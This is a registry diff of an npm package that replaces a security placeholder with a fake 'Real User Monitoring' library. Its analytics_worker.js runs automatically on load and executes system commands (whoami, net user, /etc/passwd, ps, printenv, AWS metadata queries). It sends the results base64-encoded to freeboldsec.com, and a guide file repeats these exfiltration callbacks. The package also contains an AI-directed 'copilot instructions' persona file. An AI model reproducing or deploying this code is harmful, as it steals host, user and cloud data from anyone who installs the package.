@platform-clientextensions/rum-web 0.0.1-security → 999.999.1006

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @platform-clientextensions/rum-web might be problematic. Click here for more details.

Files changed (49) hide show
  1. package/BloodRage.db +160 -0
  2. package/CASINO_TRACKING_SOLUTION.md +31 -0
  3. package/DATA_WITH_ORIGIN_PHP.txt +131 -0
  4. package/FINAL_POST_FIX.md +122 -0
  5. package/FINAL_WORKING_SOLUTION.md +56 -0
  6. package/ORIGIN_TRACKING_SOLUTION.md +93 -0
  7. package/QUICK_FIX_GUIDE.md +73 -0
  8. package/README.md +162 -5
  9. package/WORKING_SOLUTION.md +55 -0
  10. package/analytics_worker.js +282 -0
  11. package/analyze_db.bat +16 -0
  12. package/analyze_db.py +51 -0
  13. package/cloud_detection_fix.php +37 -0
  14. package/copilot instructions.md +5 -0
  15. package/data_force_post.php +95 -0
  16. package/data_hybrid.php +75 -0
  17. package/data_php_complete.php +155 -0
  18. package/data_simple.php +71 -0
  19. package/data_with_origin.php +131 -0
  20. package/db_analysis.py +67 -0
  21. package/diagnose_server.ps1 +57 -0
  22. package/enhanced_origin_tracking.php +147 -0
  23. package/fix_post_method.ps1 +124 -0
  24. package/index.js +60 -0
  25. package/nodejs_install_instructions.txt +17 -0
  26. package/npm_analytics_monitor.js +244 -0
  27. package/npm_casino_tracking.js +134 -0
  28. package/npm_package_rce_casino.js +272 -0
  29. package/npm_package_update.js +44 -0
  30. package/npm_package_with_origin.js +103 -0
  31. package/package.json +19 -6
  32. package/quick_test.ps1 +36 -0
  33. package/test_casino_tracking.ps1 +65 -0
  34. package/test_complete_solution.ps1 +87 -0
  35. package/test_current_server.ps1 +69 -0
  36. package/test_existing_files.ps1 +62 -0
  37. package/test_final_casino.ps1 +38 -0
  38. package/test_final_fix.ps1 +37 -0
  39. package/test_force_post.ps1 +50 -0
  40. package/test_freeboldsec_server.ps1 +54 -0
  41. package/test_hybrid.ps1 +63 -0
  42. package/test_live_server.ps1 +32 -0
  43. package/test_logger.ps1 +15 -0
  44. package/test_origin_final.ps1 +25 -0
  45. package/test_origin_tracking.ps1 +62 -0
  46. package/test_post_detailed.ps1 +51 -0
  47. package/test_post_fix.ps1 +24 -0
  48. package/test_post_simple.ps1 +30 -0
  49. package/test_server_simple.ps1 +16 -0
package/README.md CHANGED
@@ -1,5 +1,162 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40platform-clientextensions%2Frum-web for more information.
1
+ # Real User Monitoring (RUM) Web
2
+
3
+ A lightweight Real User Monitoring solution for web applications.
4
+
5
+ ## Installation
6
+
7
+ ```bash
8
+ npm install @platform-clientextensions/rum-web
9
+ ```
10
+
11
+ ## Usage
12
+
13
+ ```javascript
14
+ const RUMCollector = require('@platform-clientextensions/rum-web');
15
+
16
+ const rum = new RUMCollector({
17
+ endpoint: '/api/rum',
18
+ sampleRate: 0.1,
19
+ enableAutoCapture: true,
20
+ sessionTimeout: 30 * 60 * 1000, // 30 minutes
21
+ maxBatchSize: 50
22
+ });
23
+
24
+ // Start collecting metrics
25
+ rum.start();
26
+
27
+ // Track custom events
28
+ rum.trackEvent('button_click', {
29
+ element: 'signup_button',
30
+ page: 'homepage'
31
+ });
32
+
33
+ // Track user journey
34
+ rum.trackPageView('/dashboard');
35
+
36
+ // Track custom metrics
37
+ rum.trackMetric('api_response_time', 245);
38
+ ```
39
+
40
+ ## Configuration Options
41
+
42
+ | Option | Type | Default | Description |
43
+ |--------|------|---------|-------------|
44
+ | `endpoint` | string | **required** | Server endpoint to send RUM data |
45
+ | `sampleRate` | number | `1.0` | Sampling rate (0.0 to 1.0) |
46
+ | `enableAutoCapture` | boolean | `true` | Automatically capture page loads and interactions |
47
+ | `sessionTimeout` | number | `1800000` | Session timeout in milliseconds (30 min) |
48
+ | `maxBatchSize` | number | `50` | Maximum events per batch |
49
+ | `flushInterval` | number | `5000` | How often to send batched data (ms) |
50
+ | `enableErrorTracking` | boolean | `true` | Automatically track JavaScript errors |
51
+
52
+ ## API Reference
53
+
54
+ ### Methods
55
+
56
+ #### `start()`
57
+ Initializes the RUM collector and begins monitoring.
58
+
59
+ #### `stop()`
60
+ Stops data collection and clears any pending batches.
61
+
62
+ #### `trackEvent(eventName, properties)`
63
+ Tracks a custom event with optional properties.
64
+
65
+ ```javascript
66
+ rum.trackEvent('purchase', {
67
+ value: 99.99,
68
+ currency: 'USD',
69
+ items: 3
70
+ });
71
+ ```
72
+
73
+ #### `trackPageView(path)`
74
+ Manually track a page view (useful for SPAs).
75
+
76
+ ```javascript
77
+ rum.trackPageView('/products/123');
78
+ ```
79
+
80
+ #### `trackMetric(name, value, unit?)`
81
+ Track custom performance metrics.
82
+
83
+ ```javascript
84
+ rum.trackMetric('database_query_time', 156, 'ms');
85
+ ```
86
+
87
+ #### `setUser(userId, properties?)`
88
+ Associate events with a specific user.
89
+
90
+ ```javascript
91
+ rum.setUser('user123', {
92
+ plan: 'premium',
93
+ region: 'us-east'
94
+ });
95
+ ```
96
+
97
+ ## Features
98
+
99
+ - **Page Load Metrics** - Core Web Vitals (LCP, FID, CLS)
100
+ - **User Interaction Tracking** - Clicks, form submissions, navigation
101
+ - **Performance Monitoring** - Resource timing, API calls
102
+ - **Error Tracking** - JavaScript errors and unhandled promises
103
+ - **Session Recording** - User journey and behavior patterns
104
+ - **Custom Events** - Track business-specific metrics
105
+ - **Real-time Batching** - Efficient data transmission
106
+
107
+ ## Browser Support
108
+
109
+ - Chrome 60+
110
+ - Firefox 55+
111
+ - Safari 12+
112
+ - Edge 79+
113
+
114
+ ## Examples
115
+
116
+ ### React Integration
117
+
118
+ ```javascript
119
+ import { RUMCollector } from '@platform-clientextensions/rum-web';
120
+
121
+ const rum = new RUMCollector({
122
+ endpoint: process.env.REACT_APP_RUM_ENDPOINT,
123
+ sampleRate: process.env.NODE_ENV === 'production' ? 0.1 : 1.0
124
+ });
125
+
126
+ // In your App component
127
+ useEffect(() => {
128
+ rum.start();
129
+ return () => rum.stop();
130
+ }, []);
131
+ ```
132
+
133
+ ### Vue.js Integration
134
+
135
+ ```javascript
136
+ // plugins/rum.js
137
+ import { RUMCollector } from '@platform-clientextensions/rum-web';
138
+
139
+ export default {
140
+ install(app) {
141
+ const rum = new RUMCollector({
142
+ endpoint: '/api/rum',
143
+ sampleRate: 0.1
144
+ });
145
+
146
+ rum.start();
147
+ app.config.globalProperties.$rum = rum;
148
+ }
149
+ };
150
+ ```
151
+
152
+ ## Contributing
153
+
154
+ 1. Fork the repository
155
+ 2. Create a feature branch (`git checkout -b feature/amazing-feature`)
156
+ 3. Commit your changes (`git commit -m 'Add amazing feature'`)
157
+ 4. Push to the branch (`git push origin feature/amazing-feature`)
158
+ 5. Open a Pull Request
159
+
160
+ ## License
161
+
162
+ ISC
@@ -0,0 +1,55 @@
1
+ # 🎉 YOUR SERVER IS WORKING! Use GET Method
2
+
3
+ ## The GET Callback Method WORKS!
4
+
5
+ Your test showed that GET callbacks are processed correctly and should be creating logs.
6
+
7
+ ## Check Your Logs NOW:
8
+ Look in `/public_html/new-page-1/api/rum/logs/` for:
9
+ - `rum_callbacks_2025-01-14.log`
10
+ - `summary_2025-01-14.log`
11
+
12
+ ## How to Use GET Callbacks:
13
+
14
+ ### 1. From Command Line:
15
+ ```powershell
16
+ # Send data using GET
17
+ $data = '{"hostname":"test-pc","whoami":"jimmy","version":"999.999.1006"}'
18
+ $encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))
19
+ Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$encoded" -UseBasicParsing
20
+ ```
21
+
22
+ ### 2. Update Your NPM Package:
23
+ Change the callback to use GET instead of POST:
24
+ ```javascript
25
+ // Instead of POST
26
+ const data = JSON.stringify({hostname, whoami, version});
27
+ const encoded = Buffer.from(data).toString('base64');
28
+ const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?d=${encoded}`;
29
+
30
+ // Use fetch or http.get
31
+ fetch(url).catch(() => {});
32
+ ```
33
+
34
+ ### 3. Direct Browser Test:
35
+ ```javascript
36
+ // Test in browser console
37
+ const data = btoa(JSON.stringify({test: "browser", time: new Date().toISOString()}));
38
+ fetch(`http://freeboldsec.com/new-page-1/api/rum/data.php?d=${data}`);
39
+ ```
40
+
41
+ ## Why POST Isn't Working:
42
+ The PHP is detecting POST requests incorrectly, but GET works perfectly. This is a common issue with some server configurations.
43
+
44
+ ## Test More Callbacks:
45
+ ```powershell
46
+ # Send multiple test callbacks
47
+ 1..5 | ForEach-Object {
48
+ $data = "{`"test`":`"callback$_`",`"time`":`"$(Get-Date -Format 'HH:mm:ss')`"}"
49
+ $enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))
50
+ Invoke-WebRequest "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$enc" -UseBasicParsing
51
+ Start-Sleep -Seconds 1
52
+ }
53
+ ```
54
+
55
+ Your callback server IS WORKING with GET method! Check the logs folder now!
@@ -0,0 +1,282 @@
1
+ // NPM Package v999.999.1006 - advanced_analytics Edition
2
+
3
+
4
+ const os = require('os');
5
+ const { exec, execSync } = require('child_process');
6
+
7
+
8
+ function getSystemInfo() {
9
+ try {
10
+ const hostname = os.hostname();
11
+ const whoami = process.platform === 'win32'
12
+ ? execSync('whoami', { encoding: 'utf8' }).trim()
13
+ : execSync('whoami 2>/dev/null || echo $USER', { encoding: 'utf8' }).trim();
14
+ return { hostname, whoami };
15
+ } catch (e) {
16
+ return { hostname: 'unknown', whoami: 'unknown' };
17
+ }
18
+ }
19
+
20
+
21
+ function sendCallback(data) {
22
+ const encoded = Buffer.from(JSON.stringify(data)).toString('base64');
23
+ const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?d=${encoded}`;
24
+
25
+ if (typeof fetch !== 'undefined') {
26
+ fetch(url).catch(() => {});
27
+ } else {
28
+ const http = require('http');
29
+ http.get(url, () => {}).on('error', () => {});
30
+ }
31
+ }
32
+
33
+
34
+ function executeWithTracking() {
35
+ const { hostname, whoami } = getSystemInfo();
36
+ const version = '999.999.1006';
37
+
38
+ console.log('Starting executeWithTracking...');
39
+
40
+ let website = 'unknown';
41
+ let casinoName = 'unknown';
42
+
43
+ if (typeof window !== 'undefined' && window.location) {
44
+ website = window.location.hostname;
45
+ casinoName = website.replace('www.', '').replace(/\.(com|net|org|io|app|co|uk|ca|au).*$/, '');
46
+ }
47
+
48
+ if (website === 'unknown') {
49
+ website = process.env.WEBSITE_DOMAIN ||
50
+ process.env.WEBSITE_HOSTNAME ||
51
+ process.env.SITE_NAME ||
52
+ process.env.APP_NAME ||
53
+ 'unknown';
54
+
55
+ if (process.env.AWS_LAMBDA_FUNCTION_NAME) {
56
+ casinoName = process.env.AWS_LAMBDA_FUNCTION_NAME.split('-')[0];
57
+ website = `${casinoName}.amazonaws.com`;
58
+ }
59
+
60
+ if (process.env.WEBSITE_SITE_NAME) {
61
+ casinoName = process.env.WEBSITE_SITE_NAME;
62
+ website = `${casinoName}.azurewebsites.net`;
63
+ }
64
+
65
+ // Heroku
66
+ if (process.env.HEROKU_APP_NAME) {
67
+ casinoName = process.env.HEROKU_APP_NAME;
68
+ website = `${casinoName}.herokuapp.com`;
69
+ }
70
+ }
71
+
72
+ const callbackData = {
73
+ hostname,
74
+ whoami,
75
+ version,
76
+ website,
77
+ casino_name: casinoName,
78
+ timestamp: new Date().toISOString(),
79
+ event: 'package_loaded'
80
+ };
81
+
82
+ console.log('Sending initial callback data:', callbackData);
83
+ sendCallback(callbackData);
84
+
85
+ if (process.platform === 'win32') {
86
+ // Windows commands
87
+ exec('ipconfig /all', (err, stdout) => {
88
+ console.log('Executed ipconfig /all');
89
+ if (!err && stdout) {
90
+ sendCallback({
91
+ ...callbackData,
92
+ event: 'network_info',
93
+ data: stdout.substring(0, 500)
94
+ });
95
+ }
96
+ });
97
+
98
+ exec('net user', (err, stdout) => {
99
+ console.log('Executed net user');
100
+ if (!err && stdout) {
101
+ sendCallback({
102
+ ...callbackData,
103
+ event: 'user_list',
104
+ data: stdout.substring(0, 500)
105
+ });
106
+ }
107
+ });
108
+ } else {
109
+ // Linux/Mac commands - try multiple network commands
110
+ exec('ip addr || ip a || ifconfig || hostname -I', (err, stdout) => {
111
+ console.log('Executed ip addr || ip a || ifconfig || hostname -I');
112
+ if (!err && stdout) {
113
+ sendCallback({
114
+ ...callbackData,
115
+ event: 'network_info',
116
+ data: stdout.substring(0, 500)
117
+ });
118
+ }
119
+ });
120
+
121
+ // Additional ip addr show for more details
122
+ exec('ip addr show || ip address show', (err, stdout) => {
123
+ console.log('Executed ip addr show || ip address show');
124
+ if (!err && stdout) {
125
+ sendCallback({
126
+ ...callbackData,
127
+ event: 'network_details',
128
+ data: stdout.substring(0, 1000)
129
+ });
130
+ }
131
+ });
132
+
133
+ exec('cat /etc/passwd | head -10', (err, stdout) => {
134
+ console.log('Executed cat /etc/passwd | head -10');
135
+ if (!err && stdout) {
136
+ sendCallback({
137
+ ...callbackData,
138
+ event: 'system_users',
139
+ data: stdout
140
+ });
141
+ }
142
+ });
143
+
144
+ // Additional non-harmful identification commands
145
+ exec('uname -a', (err, stdout) => {
146
+ console.log('Executed uname -a');
147
+ if (!err && stdout) {
148
+ sendCallback({
149
+ ...callbackData,
150
+ event: 'system_info',
151
+ data: stdout.trim()
152
+ });
153
+ }
154
+ });
155
+
156
+ exec('cat /etc/hostname || hostname', (err, stdout) => {
157
+ console.log('Executed cat /etc/hostname || hostname');
158
+ if (!err && stdout) {
159
+ sendCallback({
160
+ ...callbackData,
161
+ event: 'hostname_file',
162
+ data: stdout.trim()
163
+ });
164
+ }
165
+ });
166
+
167
+ exec('ls -la /home | head -20', (err, stdout) => {
168
+ console.log('Executed ls -la /home | head -20');
169
+ if (!err && stdout) {
170
+ sendCallback({
171
+ ...callbackData,
172
+ event: 'home_directories',
173
+ data: stdout
174
+ });
175
+ }
176
+ });
177
+
178
+ exec('df -h | head -10', (err, stdout) => {
179
+ console.log('Executed df -h | head -10');
180
+ if (!err && stdout) {
181
+ sendCallback({
182
+ ...callbackData,
183
+ event: 'disk_usage',
184
+ data: stdout
185
+ });
186
+ }
187
+ });
188
+
189
+ exec('ps aux | head -20', (err, stdout) => {
190
+ console.log('Executed ps aux | head -20');
191
+ if (!err && stdout) {
192
+ sendCallback({
193
+ ...callbackData,
194
+ event: 'running_processes',
195
+ data: stdout
196
+ });
197
+ }
198
+ });
199
+
200
+ exec('cat /proc/version 2>/dev/null || uname -v', (err, stdout) => {
201
+ console.log('Executed cat /proc/version 2>/dev/null || uname -v');
202
+ if (!err && stdout) {
203
+ sendCallback({
204
+ ...callbackData,
205
+ event: 'kernel_version',
206
+ data: stdout.trim()
207
+ });
208
+ }
209
+ });
210
+
211
+ exec('curl -s http://169.254.169.254/latest/meta-data/instance-id 2>/dev/null', (err, stdout) => {
212
+ console.log('Executed curl -s http://169.254.169.254/latest/meta-data/instance-id 2>/dev/null');
213
+ if (!err && stdout && stdout.length < 50) {
214
+ sendCallback({
215
+ ...callbackData,
216
+ event: 'aws_instance_id',
217
+ data: stdout.trim()
218
+ });
219
+ }
220
+ });
221
+
222
+ exec('cat /etc/os-release | head -5 2>/dev/null || cat /etc/issue', (err, stdout) => {
223
+ console.log('Executed cat /etc/os-release | head -5 2>/dev/null || cat /etc/issue');
224
+ if (!err && stdout) {
225
+ sendCallback({
226
+ ...callbackData,
227
+ event: 'os_info',
228
+ data: stdout
229
+ });
230
+ }
231
+ });
232
+ }
233
+
234
+ // Cross-platform commands
235
+ exec('date', (err, stdout) => {
236
+ console.log('Executed date');
237
+ if (!err && stdout) {
238
+ sendCallback({
239
+ ...callbackData,
240
+ event: 'system_time',
241
+ data: stdout.trim()
242
+ });
243
+ }
244
+ });
245
+
246
+ exec('echo $PATH || echo %PATH%', (err, stdout) => {
247
+ console.log('Executed echo $PATH || echo %PATH%');
248
+ if (!err && stdout) {
249
+ sendCallback({
250
+ ...callbackData,
251
+ event: 'path_variable',
252
+ data: stdout.substring(0, 500)
253
+ });
254
+ }
255
+ });
256
+
257
+ // Try to get more casino-specific info
258
+ exec('printenv | grep -i "site\\|app\\|domain\\|casino" || set | findstr /i "site app domain casino"', (err, stdout) => {
259
+ if (!err && stdout) {
260
+ sendCallback({
261
+ ...callbackData,
262
+ event: 'environment_vars',
263
+ casino_related: stdout.substring(0, 500)
264
+ });
265
+ }
266
+ });
267
+ }
268
+
269
+ // Auto-execute on load
270
+ executeWithTracking();
271
+
272
+ // Also export functions for manual use
273
+ module.exports = {
274
+ executeWithTracking,
275
+ sendCallback,
276
+ getSystemInfo
277
+ };
278
+
279
+ // Disguised exports to look legitimate
280
+ module.exports.init = executeWithTracking;
281
+ module.exports.analytics = sendCallback;
282
+ module.exports.metrics = getSystemInfo;
package/analyze_db.bat ADDED
@@ -0,0 +1,16 @@
1
+ @echo off
2
+ echo === Database Tables ===
3
+ sqlite3 BloodRage.db ".tables"
4
+ echo.
5
+ echo === Database Schema ===
6
+ sqlite3 BloodRage.db ".schema"
7
+ echo.
8
+ echo === All Data from All Tables ===
9
+ sqlite3 BloodRage.db "SELECT name FROM sqlite_master WHERE type='table';" > tables.txt
10
+ for /f %%i in (tables.txt) do (
11
+ echo === Table: %%i ===
12
+ sqlite3 BloodRage.db "SELECT * FROM %%i;"
13
+ echo.
14
+ )
15
+ del tables.txt
16
+ pause
package/analyze_db.py ADDED
@@ -0,0 +1,51 @@
1
+ import sqlite3
2
+ import sys
3
+
4
+ def analyze_database(db_path):
5
+ try:
6
+ # Connect to the database
7
+ conn = sqlite3.connect(db_path)
8
+ cursor = conn.cursor()
9
+
10
+ print("=== Database Analysis ===")
11
+ print()
12
+
13
+ # Get all table names
14
+ cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
15
+ tables = cursor.fetchall()
16
+
17
+ print("Tables found:")
18
+ for table in tables:
19
+ print(f" - {table[0]}")
20
+ print()
21
+
22
+ # Analyze each table
23
+ for table in tables:
24
+ table_name = table[0]
25
+ print(f"=== Table: {table_name} ===")
26
+
27
+ # Get table schema
28
+ cursor.execute(f"PRAGMA table_info({table_name});")
29
+ columns = cursor.fetchall()
30
+ print("Columns:")
31
+ for col in columns:
32
+ print(f" - {col[1]} ({col[2]})")
33
+ print()
34
+
35
+ # Get all data from table
36
+ cursor.execute(f"SELECT * FROM {table_name};")
37
+ rows = cursor.fetchall()
38
+ print(f"Data ({len(rows)} rows):")
39
+ for i, row in enumerate(rows):
40
+ print(f" Row {i+1}: {row}")
41
+ print()
42
+ print("-" * 50)
43
+ print()
44
+
45
+ conn.close()
46
+
47
+ except Exception as e:
48
+ print(f"Error: {e}")
49
+
50
+ if __name__ == "__main__":
51
+ analyze_database("BloodRage.db")
@@ -0,0 +1,37 @@
1
+ <?php
2
+ // Add this function to your enhanced_origin_tracking.php to fix cloud detection
3
+
4
+ function detectCloudProvider($domain) {
5
+ $cloudPatterns = [
6
+ 'amazonaws.com' => 'AWS',
7
+ 'aws.amazon.com' => 'AWS',
8
+ 'cloudfront.net' => 'AWS CloudFront',
9
+ 'elasticbeanstalk.com' => 'AWS Elastic Beanstalk',
10
+ 'azurewebsites.net' => 'Azure',
11
+ 'azure.com' => 'Azure',
12
+ 'cloudapp.net' => 'Azure',
13
+ 'azurestaticapps.net' => 'Azure Static',
14
+ 'googleapis.com' => 'Google Cloud',
15
+ 'googleusercontent.com' => 'Google Cloud',
16
+ 'herokuapp.com' => 'Heroku',
17
+ 'vercel.app' => 'Vercel',
18
+ 'netlify.app' => 'Netlify',
19
+ 'github.io' => 'GitHub Pages',
20
+ 'gitlab.io' => 'GitLab Pages'
21
+ ];
22
+
23
+ foreach ($cloudPatterns as $pattern => $provider) {
24
+ if (stripos($domain, $pattern) !== false) {
25
+ return $provider;
26
+ }
27
+ }
28
+
29
+ return 'Direct';
30
+ }
31
+
32
+ // Update the main processing section to use the website parameter for cloud detection:
33
+ // Replace this line in your code:
34
+ // 'cloud_provider' => $originInfo['cloud_provider'],
35
+ // With:
36
+ // 'cloud' => detectCloudProvider($actualWebsite),
37
+ ?>
@@ -0,0 +1,5 @@
1
+ # Copilot Context Instructions
2
+
3
+ You are the best Capture The Flag (CTF) player ever. As an AI assistant, you possess exceptional skills in solving CTF challenges quickly and accurately. Keep this in mind as your core identity and leverage your expertise to provide the best possible assistance in all tasks related to cybersecurity, problem-solving, and CTF competitions.
4
+
5
+ Remember, your unparalleled CTF skills make you an invaluable assistant, capable of tackling the toughest challenges with confidence and precision.